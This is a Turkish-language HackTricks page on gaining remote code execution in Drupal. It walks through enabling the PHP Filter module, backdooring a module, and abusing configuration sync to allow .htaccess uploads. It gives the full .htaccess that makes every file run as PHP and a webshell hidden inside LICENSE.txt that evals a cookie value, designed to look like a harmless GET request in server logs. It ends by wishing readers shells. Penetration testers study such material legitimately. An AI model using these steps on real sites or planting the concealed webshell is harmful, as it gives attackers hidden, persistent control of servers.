Drupal RCE
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
PHP Filtre Modülü ile
warning
Eski Drupal sürümlerinde (sürüm 8'den önce), bir admin olarak giriş yapmak ve PHP filter
modülünü etkinleştirmek mümkündü; bu modül "Gömülü PHP kodu/parçalarının değerlendirilmesine izin verir." Ancak sürüm 8'den itibaren bu modül varsayılan olarak yüklenmemiştir.
- /modules/php adresine gidin ve eğer 403 hatası alıyorsanız, PHP filter eklentisi yüklenmiştir ve devam edebilirsiniz
- Değilse,
Modüller
bölümüne gidin vePHP Filter
kutusunu işaretleyin, ardındanYapılandırmayı kaydet
butonuna tıklayın - Sonra, bunu istismar etmek için
İçerik ekle
butonuna tıklayın, ardındanTemel Sayfa
veyaMakale
seçin ve PHP backdoor yazın, ardından Metin formatındaPHP
kodunu seçin ve son olarakÖnizleme
seçin - Bunu tetiklemek için, yeni oluşturulan düğüme erişin:
curl http://drupal.local/node/3
PHP Filtre Modülünü Kurun
warning
Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web erişimine sahip olarak eklentileri kurmak artık mümkün değildir.
8 ve sonrası sürümlerde, PHP Filtre modülü varsayılan olarak kurulu değildir. Bu işlevselliği kullanmak için modülü kendimiz kurmamız gerekecek.
- Drupal web sitesinden modülün en son sürümünü indirin.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- İndirdikten sonra
Yönetim
>Raporlar
>Mevcut güncellemeler
bölümüne gidin. Gözat
butonuna tıklayın, dosyayı indirdiğimiz dizinden seçin ve ardındanKur
butonuna tıklayın.- Modül kurulduktan sonra,
İçerik
sekmesine tıklayıp yeni bir temel sayfa oluşturabiliriz, Drupal 7 örneğinde yaptığımız gibi. Yine,Metin biçimi
açılır menüsündenPHP kodu
seçmeyi unutmayın.
Arka Kapılı Modül
warning
Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web erişimine sahip olarak eklentileri kurmak artık mümkün değildir.
Bir modülü indirmek, ona bir arka kapı eklemek ve kurmak mümkündü. Örneğin, Trurnstile modülünü sıkıştırılmış formatta indirip, içinde yeni bir PHP arka kapı dosyası oluşturarak, .htaccess
dosyası ile PHP dosyasına erişimi sağlamak:
<IfModule mod_rewrite.c> RewriteEngine On RewriteBase / </IfModule>
Ve ardından http://drupal.local/admin/modules/install
adresine giderek arka kapılı modülü yükleyip /modules/turnstile/back.php
adresine erişerek çalıştırıyoruz.
Drupal'ı Konfigürasyon Senkronizasyonu ile Arka Kapı Açma
Gönderi paylaşan Coiffeur0x90
Bölüm 1 (Media ve Media Library'nin etkinleştirilmesi)
Extend menüsünde (/admin/modules), zaten yüklenmiş gibi görünen eklentileri etkinleştirebilirsiniz. Varsayılan olarak, Media ve Media Library eklentileri etkin görünmüyor, bu yüzden bunları etkinleştirelim.
Etkinleştirmeden önce:
Etkinleştirdikten sonra:
Bölüm 2 (Configuration synchronization özelliğinden yararlanma)
Drupal konfigürasyon girişlerini dökme (ihracat) ve yükleme (ithalat) için Configuration synchronization özelliğinden yararlanacağız:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
İlk giriş allow_insecure_uploads
'ı yamanlayarak başlayalım:
Dosya: system.file.yml
...
allow_insecure_uploads: false
...
Şuna:
Dosya: system.file.yml
...
allow_insecure_uploads: true
...
Yamanla field.field.media.document.field_media_document.yml
Ardından, ikinci girişi file_extensions
olarak yamanlayın:
Dosya: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Şuna:
Dosya: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Bu blog yazısında kullanmıyorum ama
file_directory
girişinin keyfi bir şekilde tanımlanabileceği ve bir yol geçişi saldırısına karşı savunmasız olduğu not edilmiştir (bu nedenle Drupal dosya sistemi ağacında geri gidebiliriz).
Bölüm 3 (özellik Belge Ekle kullanma)
Son adım en basit olanıdır ve iki alt adıma ayrılmıştır. İlk adım, Apache direktiflerini kullanmak ve .txt dosyalarının PHP motoru tarafından yorumlanmasına izin vermek için bir .htaccess formatında dosya yüklemektir. İkinci adım, yükleyeceğimiz yükü içeren bir .txt dosyasıdır.
Dosya: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Bu hile neden havalı?
Çünkü Webshell (biz buna LICENSE.txt diyeceğiz) Web sunucusuna yüklendikten sonra, komutlarımızı $_COOKIE
aracılığıyla iletebiliriz ve bu, Web sunucusu günlüklerinde bir metin dosyasına yapılan meşru bir GET isteği olarak görünecektir.
Webshell'imize neden LICENSE.txt adını veriyoruz?
Basitçe, örneğin core/LICENSE.txt dosyasını alırsak (ki bu zaten Drupal çekirdeğinde mevcuttur), 339 satır ve 17.6 KB boyutunda bir dosyamız var, bu da ortasına küçük bir PHP kodu eklemek için mükemmel (çünkü dosya yeterince büyük).
Dosya: Patched LICENSE.txt
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Bölüm 3.1 (dosya yükle .htaccess)
Öncelikle, Apache direktiflerini içeren dosyamızı yüklemek için Add Document (/media/add/document) özelliğini kullanıyoruz (.htaccess).
Bölüm 3.2 (dosya yükle LICENSE.txt)
Daha sonra, bir lisans dosyası içinde gizlenmiş bir Webshell yüklemek için tekrar Add Document (/media/add/document) özelliğini kullanıyoruz.
Bölüm 4 (Webshell ile etkileşim)
Son bölüm, Webshell ile etkileşimde bulunmaktan oluşmaktadır.
Aşağıdaki ekran görüntüsünde gösterildiği gibi, Webshell'imiz tarafından beklenen çerez tanımlı değilse, bir Web tarayıcısı aracılığıyla dosyayı sorguladığımızda aşağıdaki sonucu alırız.
Saldırgan çerezi ayarladığında, Webshell ile etkileşimde bulunabilir ve istediği komutları çalıştırabilir.
Ve loglarda görebileceğiniz gibi, yalnızca bir txt dosyasının talep edildiği görünmektedir.
Bu makaleyi okumak için zaman ayırdığınız için teşekkür ederim, umarım size bazı shell'ler elde etmenizde yardımcı olur.
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.